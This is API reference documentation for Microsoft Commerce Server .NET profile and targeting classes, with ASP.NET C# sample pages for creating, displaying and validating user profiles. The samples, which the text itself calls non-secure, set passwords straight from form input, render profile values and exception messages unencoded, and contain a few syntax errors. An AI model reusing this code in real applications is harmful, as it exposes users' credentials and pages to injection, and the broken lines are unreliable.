Code to Build a Login Page

Code to Use the SiteTerm Class


SiteTermElementCollection.GetEnumerator Method (BCL)

Retrieves the enumerator on this collection.

Definition

[Visual Basic .NET]
Overridable Public Function GetEnumerator( _
) As System.Collections.IEnumerator
[C#]
public virtual System.Collections.IEnumerator GetEnumerator(
);

Implements

System.Collections.ICollection

Return Value

Handle to an IEnumerator interface implementation for this collection.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Use the SiteTerm Class


SiteTermElementCollection Properties (BCL)

Public Instance Properties

Property | Description
Count | Returns the count of this collection.
IsSynchronized | Not used.
Item(String) | Indexer to allow for accessing the SiteTerm collection by name.
SyncRoot | Not used

See Also

Code to Build a Login Page

Code to Use the SiteTerm Class


SiteTermElementCollection.Count Property (BCL)

Returns the count of this collection.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property Count As System.Int32
[C#]
public virtual System.Int32 Count {get;}

Implements

System.Collections.ICollection

Property Value

Integer that contains the count of this collection.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Use the SiteTerm Class


SiteTermElementCollection.IsSynchronized Property (BCL)

Not used.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property IsSynchronized As System.Boolean
[C#]
public virtual System.Boolean IsSynchronized {get;}

Implements

System.Collections.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Use the SiteTerm Class


SiteTermElementCollection.Item(String) Property (BCL)

Indexer to allow for accessing the SiteTerm collection by name.

Definition

[Visual Basic .NET]
Public ReadOnly Property Item( _
  ByVal name As System.String _
) As SiteTermElement
[C#]
public SiteTermElement Item(
  System.String name
) {get;}

Parameters

[Visual Basic .NET]
name
Name of the SiteTerm element.
[C#]
name
Name of the SiteTerm element.

Property Value

The specified SiteTermElement

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Use the SiteTerm Class


SiteTermElementCollection.SyncRoot Property (BCL)

Implementation of the ICollection::SyncRoot property.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property SyncRoot As System.Object
[C#]
public virtual System.Object SyncRoot {get;}

Property Value

Icollection::SyncRoot property.

Implements

System.Collections.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Use the SiteTerm Class


Example Code for the Microsoft.CommerceServer.Profiles Namespace

Examples

Example | Description
Code to Create and Set Profile Properties | Describes how to create and set profile properties.
Code to Get and Set Multi-valued Profile Properties | Describes how to get and set multi-valued profile properties.
Code to Retrieve and Display Profile Properties | Describes how to retrieve and display profile properties.
Code to Use the SiteTerm Class | Describes how to retrieve, iterate, sort, compare, and validate site terms.


Code to Create and Set Profile Properties

Use the following code to create and set profile properties.

Note

  • The error messages presented in this code sample should be modified to meet your security needs. Error messages should inform the user of the error, but reveal as little information about the environment or internal error as possible. This code sample is intended to showcase different Profiling System APIs, and should not be construed as the recommended secure way to write Profiling System code.
<%@ Page language="c#" %>
<%@ Import Namespace="Microsoft.CommerceServer.Runtime" %>
<%@ Import Namespace="Microsoft.CommerceServer.Runtime.Profiles" %>
<html>
   <script language="C#" runat="server">

      // Web-form scoped variables.
      ProfileContext profileContext = CommerceContext.Current.ProfileSystem;

      void Page_Load(Object sender, EventArgs e)
      {
         if (!IsPostBack)
         {
            LogonnameValidator.ErrorMessage = "* Invalid logon name *";
            PasswordValidator.ErrorMessage = "* Invalid password *";
            FirstNameValidator.ErrorMessage = "* Invalid first name *";
            LastNameValidator.ErrorMessage = "* Invalid last name *";
            EMailValidator.ErrorMessage = "* Invalid email address *";
         }
      }

      // Event handler for the "Cancel" button click.
      public void Cancel_Click(Object sender, EventArgs args)
      {
         // Simply clear off values associated with the text box controls.
         LogonnameText.Text = "";
         PasswordText.Text = "";
         FirstnameText.Text = "";
         LastnameText.Text = "";
         EmailText.Text = "";
      }

      // Event handler for the "OK" button click.
      public void Ok_Click(Object sender, EventArgs args)
      {
         if (IsValid)
         {
            Profile userProfile;
            ProfilePropertyGroup generalInfo;

            // Create user profile by this name.
            userProfile = profileContext.CreateProfile(LogonnameText.Text, "UserObject");

            // Different ways to set single-valued profile properties.
            // To learn about setting multi-valued profile properties, please refer
            // to reference documentation for ProfileProperty.Value.
            userProfile["GeneralInfo.user_security_password"].Value = PasswordText.Text;
            userProfile.Properties["GeneralInfo.first_name"].Value = FirstnameText.Text;
            userProfile.PropertyGroups["GeneralInfo"]["last_name"].Value = LastnameText.Text;

            generalInfo = userProfile.PropertyGroups["GeneralInfo"];
            generalInfo["email_address"].Value = EmailText.Text;

            // Persist user profile to underlying stores.
            userProfile.Update();
         }
      }
   </script>
   <body>
         <form ID="createprofile" method="post" runat="server">
         <asp:Label id="TitleLabel" Text="Create a profile" runat="server" /><br>
         <br>
         <asp:Table runat="server" id="profileData" BorderWidth="2">
            <asp:TableRow>
               <asp:TableCell>
                  <asp:Label id="LogonNameLabel" Text="Name:" runat="server" />
               </asp:TableCell>
               <asp:TableCell>
                  <asp:TextBox id="LogonnameText" runat="server"></asp:TextBox>
                  <asp:RequiredFieldValidator id="LogonnameValidator" runat="server" ControlToValidate="LogonnameText" Display="dynamic"></asp:RequiredFieldValidator>
               </asp:TableCell>
            </asp:TableRow>
            <asp:TableRow>
               <asp:TableCell>
                  <asp:Label id="PasswordLabel" Text="Password:" runat="server" />
               </asp:TableCell>
               <asp:TableCell>
                  <asp:TextBox id="PasswordText" TextMode="Password" runat="server"></asp:TextBox>
                  <asp:RequiredFieldValidator id="PasswordValidator" runat="server" ControlToValidate="PasswordText" Display="dynamic"></asp:RequiredFieldValidator>
               </asp:TableCell>
            </asp:TableRow>
            <asp:TableRow>
               <asp:TableCell>
                  <asp:Label id="FirstNameLabel" Text="First Name:" runat="server" />
               </asp:TableCell>
               <asp:TableCell>
                  <asp:TextBox id="FirstnameText" runat="server"></asp:TextBox>
                  <asp:RequiredFieldValidator id="FirstNameValidator" runat="server" ControlToValidate="FirstnameText" Display="dynamic"></asp:RequiredFieldValidator>
               </asp:TableCell>
            </asp:TableRow>
            <asp:TableRow>
               <asp:TableCell>
                  <asp:Label id="LastNameLabel" Text="Last Name:" runat="server" />
               </asp:TableCell>
               <asp:TableCell>
                  <asp:TextBox id="LastnameText" runat="server"></asp:TextBox>
                  <asp:RequiredFieldValidator id="LastNameValidator" runat="server" ControlToValidate="LastnameText" Display="dynamic"></asp:RequiredFieldValidator>
               </asp:TableCell>
            </asp:TableRow>
            <asp:TableRow>
               <asp:TableCell>
                  <asp:Label id="EmailLabel" Text="Email Address:" runat="server" />
               </asp:TableCell>
               <asp:TableCell>
                  <asp:TextBox id="EmailText" runat="server"></asp:TextBox>
                  <asp:RegularExpressionValidator id="EMailValidator" runat="server" ControlToValidate="EmailText" ValidationExpression=".*@.*\..*" Display="dynamic"></asp:RegularExpressionValidator>
               </asp:TableCell>
            </asp:TableRow>
            <asp:TableRow>
               <asp:TableCell>
                  <asp:Button id="Ok" Text="Ok" OnClick="Ok_Click" runat="server" Width="80" />
               </asp:TableCell>
               <asp:TableCell>
                  <asp:Button id="Cancel" Text="Cancel" OnClick="Cancel_Click" runat="server" CausesValidation="false" Width="80" />
               </asp:TableCell>
            </asp:TableRow>
         </asp:Table>
      </form>
   </body>
</html>

See Also

CommerceContext Class (BCL)

Profile Class (BCL)

ProfileContext Class (BCL)

ProfilePropertyGroup Class (BCL)


Code to Get and Set Multi-valued Profile Properties

Use the following code to get and set multi-valued profile properties.

Profile userProfile;
ProfilePropertyGroup generalInfo;
ProfileContext profileContext = CommerceContext.Current.ProfileSystem;
Array favColorsIn = Array.CreateInstance( typeof(String), 3);
favColorsIn.SetValue("Red",0);
favColorsIn.SetValue("Blue",1);
favColorsIn.SetValue("Green",2);
.
.
.
// Create a user profile.
userProfile = profileContext.CreateProfile(LogonnameText.Text, "UserObject");

// Set multi-valued profile properties.
userProfile.PropertyGroups["GeneralInfo"]["fav_colors"].Value = favColorsIn;

// Persist user profile to underlying stores.
userProfile.Update();
.
.
.
// Get multi-valued profile properties.
Array favColorsOut = (Array) userProfile.PropertyGroups["GeneralInfo"]["fav_colors"].Value;


Code to Retrieve and Display Profile Properties

Use the following code to retrieve and display profile properties.

<%@ Page language="c#" %>
<%@ Import Namespace="Microsoft.CommerceServer.Runtime" %>
<%@ Import Namespace="Microsoft.CommerceServer.Runtime.Profiles" %>
<html>
   <script language="C#" runat="server">

      // Web-form scoped variables.
      ProfileContext profileContext = CommerceContext.Current.ProfileSystem;

      // Default page action.
      void Page_Load(Object sender, EventArgs e)
      {
         if (!IsPostBack)
         {
            LogonnameValidator.ErrorMessage = "* User does not exist *";
         }
      }

      // Event handle for the click event on the "Ok" button.
      public void Ok_Click(Object sender, EventArgs args)
      {
         DisplayProperties(LogonnameText.Text);
      }

      // This method retrieves the user profile for the specified logon
      // name, and displays the value for every property on this profile.
      void DisplayProperties(string logonName)
      {
         Profile userProfile;

         // Retrieve an existing profile from the
         userProfile = profileContext.GetProfile("logon_name", logonName, "UserObject");

         if (userProfile == null)
         {
            LogonnameValidator.IsValid = false;
            ProfilePropertyGroups.DataSource = null;
            ProfilePropertyGroups.DataBind();
         }
         else
         {
            ProfilePropertyGroups.DataSource = userProfile.PropertyGroups;
            ProfilePropertyGroups.DataBind();

            BindProperties();
         }
      }

      // This method binds the properties collection on all the top-level property
      // groups to individual nested repeater controls.
      void BindProperties()
      {
         int i;
         ProfilePropertyGroup ppg;
         ProfilePropertyGroupCollection ppgc;

         ppgc = ProfilePropertyGroups.DataSource as ProfilePropertyGroupCollection;
         for (i = 0 ; i < ppgc.Count ; i++)
         {
            Repeater propertiesControl;

            // Retrieve the ith property group.
            ppg = ppgc[i];

            // Bind the properties collection on this property group to the
            // nested "ProfileProperties" repeater.
            propertiesControl = ProfilePropertyGroups.Items[i].FindControl("ProfileProperties") as Repeater;
            propertiesControl.DataSource = ppg.Properties;
            propertiesControl.DataBind();
         }
      }
   </script>
   <body>
   <body>
      <form ID="displayprofile" method="post" runat="server">
         <asp:Label id="TitleLabel" Text="Display a profile" runat="server" /><br>
         <br>
         <asp:Table runat="server" id="profileData" BorderWidth="2">
            <asp:TableRow>
               <asp:TableCell>
                  <asp:Label id="LogonNameLabel" Text="Name:" runat="server" />
               </asp:TableCell>
               <asp:TableCell>
                  <asp:TextBox id="LogonnameText" runat="server"></asp:TextBox>
                  <asp:RequiredFieldValidator id="LogonnameValidator" runat="server" ControlToValidate="LogonnameText" Display="dynamic"></asp:RequiredFieldValidator>
               </asp:TableCell>
            </asp:TableRow>
            <asp:TableRow>
               <asp:TableCell>
                  <asp:Button id="Ok" Text="Ok" OnClick="Ok_Click" runat="server" Width="80" />
               </asp:TableCell>
            </asp:TableRow>
         </asp:Table>
         <asp:Repeater ID="ProfilePropertyGroups" Runat="server">
            <HeaderTemplate>
               <hr/>
            </HeaderTemplate>
            <ItemTemplate>
               <p>
               <%# DataBinder.Eval(Container.DataItem, "Name") %> :
               <br/>
               <asp:Repeater ID="ProfileProperties" Runat="server">
                  <ItemTemplate>
                     &nbsp;&nbsp;&nbsp;&nbsp;<%# DataBinder.Eval(Container.DataItem, "Name") %> : <%# DataBinder.Eval(Container.DataItem, "Value") %>
                     <br/>
                  </ItemTemplate>
               </asp:Repeater>
            </ItemTemplate>
            <FooterTemplate>
               <hr/>
            </FooterTemplate>
         </asp:Repeater>
      </form>
   </body>
</html>

See Also

CommerceContext Class (BCL)

Profile Class (BCL)

ProfileContext Class (BCL)

ProfilePropertyGroup Class (BCL)

ProfilePropertyGroupCollection Class (BCL)


Code to Use the Site Term Class

Use the following code to retrieve, iterate, sort, compare, and validate site terms. This code sample requires that the CommerceProfileModule object is configured in the web.config file. For more information about the CommerceProfileModule class, see Commerce Modules and CommerceProfileModule Class.

<%@ Page language="c#" %>
<%@ Import Namespace="Microsoft.CommerceServer.Runtime" %>
<%@ Import Namespace="Microsoft.CommerceServer.Runtime.Profiles" %>

<script language="C#" runat="server">
   private void Page_Load(object sender, System.EventArgs e)
      {
         ProfileContext pc;
         SiteTerm st;
         SiteTermElementCollection stc;
         SiteTermElement ste, ste2;
         ArrayList stNames;
         SiteTermElement [] stElementArray;
         Profile profile;

      try
      {
         if (CommerceContext.Current != null)
         {
            pc = CommerceContext.Current.ProfileSystem;

            // Retrieve all the siteterms in the catalog.
            stNames = pc.SiteTermNames;

            if (stNames.Count > 0)
            {
               // Retrieve all the elements contained in a
               // particular siteterm, encapsulated within
               // a SiteTerm class.
               st = pc.GetSiteTerm((string)stNames[0]);

               // Retrieve the siteterms in a collection
               // and iterate through them.
               stc = st.Elements;
               Response.Write("SiteTerm:  " + stNames[0] + " has " + stc.Count + " elements.<br>");
               foreach (SiteTermElement steTemp in stc)
               {
                  Response.Write("Name:  " + steTemp.Name + "        Value:  " + steTemp.Value + "<br>");
               }
               Response.Write("<br><br>");

               // Sort days of the week siteterm and display them.
               stElementArray = new SiteTermElement[stc.Count];
               stc.CopyTo(stElementArray, 0);
               Array.Sort(stElementArray);
               Response.Write("SiteTerm:  " + stNames[0] + " in sorted order.<br>");
               foreach (SiteTermElement steTemp in stElementArray)
               {
                  Response.Write("Name:  " + steTemp.Name + "        Value:  " + steTemp.Value + "<br>");
               }
               Response.Write("<br><br>");

               // Reference the siteterm within the collection by name.
               ste = stc["Guest User"];
               Response.Write("Reference a siteterm element from a collection by name.<br>");
               Response.Write("Name:  " + ste.Name + "        Value:  " + ste.Value + "<br>");
               Response.Write("<br><br>");

               // Compare siteterm elements.
               ste2 = stc["Registered User"];
               if (ste.Equals(ste2))
                  Response.Write("The two SiteTermElement objects are equal.<br>");
               else
                  Response.Write("The two SiteTermElement objects are not equal.<br>");
               Response.Write("<br><br>");

               // Validate a profile property through the siteterm class.
               profile = pc.GetProfile("logon_name", "username", "UserObject");
               if (profile != null)
               {
                  ' if there really is a profile in the profile store
                  if (st.Validate(profile.Properties[0]))
                     Response.Write("The profile property is validated.<br>");
                  else
                     Response.Write("The profile property is not valid.<br>");
               }
               else
                  Response.Write("The profile does not exist.<br>");
               Response.Write("<br><br>");
            }
         }

      }
      catch(Exception ex)
      {
         Response.Write(ex.Message);
      }
   }
</script>

<HTML>
   <HEAD>
      <title ID=L_Login_HTMLTitle>Login</title>
      <meta name="GENERATOR" Content="Microsoft Visual Studio 7.0">
      <meta name="CODE_LANGUAGE" Content="C#">
      <meta name="vs_defaultClientScript" content="JavaScript">
      <meta name="vs_targetSchema" content="http://schemas.microsoft.com/intellisense/ie5">
   </HEAD>
   <body MS_POSITIONING="GridLayout">

   </body>
</HTML>

See Also

Profile Class (BCL)

ProfileContext Class (BCL)

SiteTerm Class (BCL)

SiteTermElement Class (BCL)

SiteTermElementCollection (BCL)


Microsoft.CommerceServer.Runtime.Targeting

The classes in the Microsoft.CommerceServer.Runtime.Targeting namespace contain the content selection and campaign functionality of the Commerce Server .NET Application Framework.

Microsoft.CommerceServer.Runtime.Targeting Namespace Object Model

Depicts the object model for the Microsoft.CommerceServer.Runtime.Targeting namespace.

Classes

Class | Description
CommerceContentSelectionModule | Creates the collection of ContentSelectionContext objects used in the site.
CommerceExpressionModule | Creates the default CatalogContext object for the site.
CommerceTargetingException | Represents an exception thrown when the profiles collection contains profiles other than User and TargetingContext.
ContentItemCollection | Represents a set of rows in a ContentList object.
ContentSelectionContext | Represents an application context for Content Selection Framework (CSF) content selection. For example, advertising and discounts each have their own ContentSelectionContext object to specify components such as the pipeline and the cache that should be used by the ContentSelector object.
ContentSelectionContextCollection | Represents a collection of ContentSelectionContext objects.
ContentSelector | Invokes CSF pipelines.
ExpressionEvaluator | Evaluates targeting expressions.
TargetingProfileCollection | Stores the set of named Profile objects to be targeted.
TargetingSystemInfo | Gets the current instances of the classes required by the Targeting System.

Enumerations

Enumeration | Description
ExpressionEvaluator_ExpressionResult | An expression result: true, false, or undefined.

Examples

Example | Description
Code to Display Targeted Advertisements on an ASP.NET Web Form | Describes how to create a targeting profile, create a user profile, run the content selector object, and display targeted advertisements on an ASP.NET Web form.

See Also

Commerce Server .NET Application Framework Tutorial


CommerceContentSelectionModule Class (BCL)

Creates the collection of ContentSelectionContext objects used in the site.

Public Instance Constructor

Constructor | Description
CommerceContentSelectionModule Constructor | Creates a new instance of the CommerceContentSelectionModule class.

Public Instance Methods

Method | Description
Dispose (Inherited from CommerceModule) | Releases resources used by this object.
Init(HttpApplication) | Subscribes the class to application BeginRequest events.

Public Instance Properties

Property | Description
IsInitialized (Inherited from CommerceModule) | Gets a Boolean that is set to True when the CommerceModule class instance has been initialized.

Public Static (Shared) Properties

Property | Description
ContentSelectionContexts | Gets the ContentSelectionContextCollection object built in the contentSelection portion of the web.config file.

Protected Instance Methods

Method | Description
DeclareModuleDependency(Type, Type) (Inherited from CommerceModule) | Declares a dependency on another CommerceModule class, by type.
DeclareResourceDependency(String, Type) (Inherited from CommerceModule) | Declares a dependency on a Commerce Server site resource.
Dispose(Boolean) (Inherited from CommerceModule) | Releases the unmanaged resources used by this class and optionally releases the managed resources.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceContentSelectionModule Constructor (BCL)

Public Instance Constructor

Constructor | Description
CommerceContentSelectionModule Constructor | Creates a new instance of the CommerceContentSelectionModule class.


CommerceContentSelectionModule Constructor (BCL)

Use this method to create a new instance of the CommerceContentSelectionModule class.

Definition

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public CommerceContentSelectionModule(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceContentSelectionModule Methods (BCL)

Public Instance Methods

Method | Description
Dispose (Inherited from CommerceModule) | Releases resources used by this object.
Init(HttpApplication) | Subscribes the class to application BeginRequest events.

Protected Instance Methods

Method | Description
DeclareModuleDependency(Type, Type) (Inherited from CommerceModule) | Declares a dependency on another CommerceModule class, by type.
DeclareResourceDependency(String, Type) (Inherited from CommerceModule) | Declares a dependency on a Commerce Server site resource.
Dispose(Boolean) (Inherited from CommerceModule) | Releases the unmanaged resources used by this class and optionally releases the managed resources.


CommerceContentSelectionModule.Init(HttpApplication) Method (BCL)

Use this method to subscribe the class to application BeginRequest events.

Definition

[Visual Basic .NET]
Overrides Public Sub Init( _
  ByVal appInstance As System.Web.HttpApplication _
)
[C#]
public override void Init(
  System.Web.HttpApplication appInstance
);

Parameters

[Visual Basic .NET]
appInstance
The HttpApplication instance that created this module.
[C#]
appInstance
The HttpApplication instance that created this module.

Implements

System.Web.IHttpModule

Remarks

This module does not subscribe to any application events.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceContentSelectionModule Properties (BCL)

Public Instance Properties

Property | Description
IsInitialized (Inherited from CommerceModule) | Gets a Boolean that is set to True when the CommerceModule class instance has been initialized.

Public Static (Shared) Properties

Property | Description
ContentSelectionContexts | Gets the ContentSelectionContextCollection built in the contentSelection portion of the web.config file.


CommerceContentSelectionModule.ContentSelectionContexts Property (BCL)

The ContentSelectionContexts property is a read-only ContentSelectionContextCollection that was built in the contentSelection portion of the web.config file.

Definition

[Visual Basic .NET]
Public ReadOnly Property ContentSelectionContexts As ContentSelectionContextCollection
[C#]
public ContentSelectionContextCollection ContentSelectionContexts {get;}

Property Value

ContentSelectionContextCollection object that was built in the contentSelection portion of the web.config file.

Remarks

The value will be null if the CommerceContentSelectionModule object was not configured in the web.config file. ASP .NET pages should reference this through the CommerceContext.Current.TargetingSystem.ExpressionEvaluator property.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceExpressionModule Class (BCL)

Creates a default ExpressionEvaluator object for the site.

Public Instance Constructor

Constructor | Description
CommerceExpressionModule Constructor | Creates a new instance of the CommerceExpressionModule class.

Public Instance Methods

Method | Description
Dispose (Inherited from CommerceModule) | Releases resources used by this object.
Init(HttpApplication) | Subscribes the class to application BeginRequest events.

Public Instance Properties

Property | Description
IsInitialized (Inherited from CommerceModule) | Gets a Boolean that is set to True when the CommerceModule class instance has been initialized.

Public Static (Shared) Properties

Property | Description
ExpressionEvaluator | Gets the single instance of the ExpressionEvaluator object for use on the site.

Protected Instance Methods

Method | Description
DeclareModuleDependency(Type, Type) (Inherited from CommerceModule) | Declares a dependency on another CommerceModule class, by type.
DeclareResourceDependency(String, Type) (Inherited from CommerceModule) | Declares a dependency on a Commerce Server site resource.
Dispose(Boolean) (Inherited from CommerceModule) | Releases the unmanaged resources used by this class and optionally releases the managed resources.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceExpressionModule Constructor (BCL)

Public Instance Constructor

Constructor | Description
CommerceExpressionModule Constructor | Creates a new instance of the CommerceExpressionModule class.


CommerceExpressionModule Constructor (BCL)

Use this method to create a new instance of the CommerceExpressionModule class.

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public CommerceExpressionModule(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceExpressionModule Methods (BCL)

Public Instance Methods

Method | Description
Dispose (Inherited from CommerceModule) | Releases resources used by this object.
Init(HttpApplication) | Subscribes the class to application BeginRequest events.

Protected Instance Methods

Method | Description
DeclareModuleDependency(Type, Type) (Inherited from CommerceModule) | Declares a dependency on another CommerceModule class, by type.
DeclareResourceDependency(String, Type) (Inherited from CommerceModule) | Declares a dependency on a Commerce Server site resource.
Dispose(Boolean) (Inherited from CommerceModule) | Releases the unmanaged resources used by this class and optionally releases the managed resources.


CommerceExpressionModule.Init (HttpApplication) Method (BCL)

Use this method to subscribe the class to application BeginRequest events.

Definition

[Visual Basic .NET]
Overrides Public Sub Init( _
  ByVal appInstance As System.Web.HttpApplication _
)
[C#]
public override void Init(
  System.Web.HttpApplication appInstance
);

Parameters

[Visual Basic .NET]
appInstance
The HttpApplication instance that created this module.
[C#]
appInstance
The HttpApplication instance that created this module.

Implements

System.Web.IHttpModule

Remarks

The CommerceExpressionModule class does not subscribe to any application events.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceExpressionModule Properties (BCL)

Public Instance Properties

Property | Description
IsInitialized (Inherited from CommerceModule) | Gets a Boolean that is set to True when the CommerceModule class instance has been initialized.

Public Static (Shared) Properties

Property | Description
ExpressionEvaluator | Gets the single instance of the ExpressionEvaluator object for use on the site.


CommerceExpressionModule.ExpressionEvaluator Property (BCL)

The ExpressionEvaluator property is a read-only ExpressionEvaluator that gets the single instance of the ExpressionEvaluator object for use on the site.

Definition

[Visual Basic .NET]
Public ReadOnly Property ExpressionEvaluator As ExpressionEvaluator
[C#]
public ExpressionEvaluator ExpressionEvaluator {get;}

Property Value

The single instance of the ExpressionEvaluator object for use on the site.

Remarks

Creates the instance of ExpressionEvaluator on first access. The value will be null if the CommerceContentSelectionModule is not configured in the web.config file. ASP.NET pages should reference this through the CommerceContext.Current.TargetingSystem.ExpressionEvaluator property.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceTargetingException Class (BCL)

Exception thrown when the profiles collection contains profiles other than User and TargetingContext.

Public Instance Constructor

Constructor | Description
CommerceTargetingException Constructor | Creates a new instance of the CommerceTargetingException class.
CommerceTargetingException Constructor(String) | Creates a new instance of the CommerceTargetingException class with the specified message.
CommerceTargetingException Constructor(String, Exception) | Creates a new instance of the CommerceTargetingException class with the specified message and inner exception.
CommerceTargetingException Constructor(String, COMException) | Creates a new instance of the CommerceTargetingException class with the specified message and the inner COM exception.

Protected Instance Constructor

Constructor | Description
CommerceTargetingException Constructor (SerializationInfo, StreamingContext) | Creates a new instance of the CommerceTargetingException class with the specified serialization information and streaming context.

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
GetObjectData (SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.
ToString (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Public Instance Properties

Property | Description
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException(Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message(Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Source(Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace(Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite(Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceTargetingException Constructor (BCL)

Public Instance Constructor

Constructor | Description
CommerceTargetingException Constructor | Creates a new instance of the CommerceTargetingException class.
CommerceTargetingException Constructor(String) | Creates a new instance of the CommerceTargetingException class with the specified message.
CommerceTargetingException Constructor(String, Exception) | Creates a new instance of the CommerceTargetingException class with the specified message and inner exception.
CommerceTargetingException Constructor(String, COMException) | Creates a new instance of the CommerceTargetingException class with the specified message and the inner COM exception.

Protected Instance Constructor

Constructor | Description
CommerceTargetingException Constructor (SerializationInfo, StreamingContext) | Creates a new instance of the CommerceTargetingException class with the specified serialization information and streaming context.


CommerceTargetingException Constructor (BCL)

Use this method to create a new instance of the CommerceTargetingException class.

Definition

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public CommerceTargetingException(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceTargetingException Constructor (SerializationInfo, StreamingContext) (BCL)

Use this method to create a new instance of the CommerceTargetingException class with the specified serialization information and streaming context.

Definition

[Visual Basic .NET]
Protected Sub New( _
  ByVal serializationInfo As System.Runtime.Serialization.SerializationInfo, _
  ByVal streamingContext As System.Runtime.Serialization.StreamingContext _
)
[C#]
protected CommerceTargetingException(
  System.Runtime.Serialization.SerializationInfo serializationInfo,
  System.Runtime.Serialization.StreamingContext streamingContext
);

Parameters

[Visual Basic .NET]
serializationInfo
The serialization info.
streamingContext
The streaming context.
[C#]
serializationInfo
The serialization info.
streamingContext
The streaming context.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceTargetingException Constructor (String) (BCL)

Use this method to create a new instance of the CommerceTargetingException class with the specified message.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal message As System.String _
)
[C#]
public CommerceTargetingException(
  System.String message
);

Parameters

[Visual Basic .NET]
message
The error message.
[C#]
message
The error message.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceTargetingException Constructor (String, COMException) (BCL)

Use this method to create a new instance of the CommerceTargetingException class with the specified message and inner exception.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal message As System.String, _
  ByVal comException As System.Runtime.InteropServices.COMException _
)
[C#]
public CommerceTargetingException(
  System.String message,
  System.Runtime.InteropServices.COMException comException
);

Parameters

[Visual Basic .NET]
message
The error message.
comException
The inner COM exception.
[C#]
message
The error message.
comException
The inner COM exception.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceTargetingException Constructor (String, Exception) (BCL)

Use this method to create a new instance of the CommerceTargetingException class with the specified message and the inner COM exception.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal message As System.String, _
  ByVal inner As System.Exception _
)
[C#]
public CommerceTargetingSystem.Exception(
  System.String message,
  System.Exception inner
);

Parameters

[Visual Basic .NET]
message
The error message.
inner
The inner COM exception.
[C#]
message
The error message.
inner
The inner COM exception.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceTargetingException Methods (BCL)

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
GetObjectData (SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.
ToString (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.


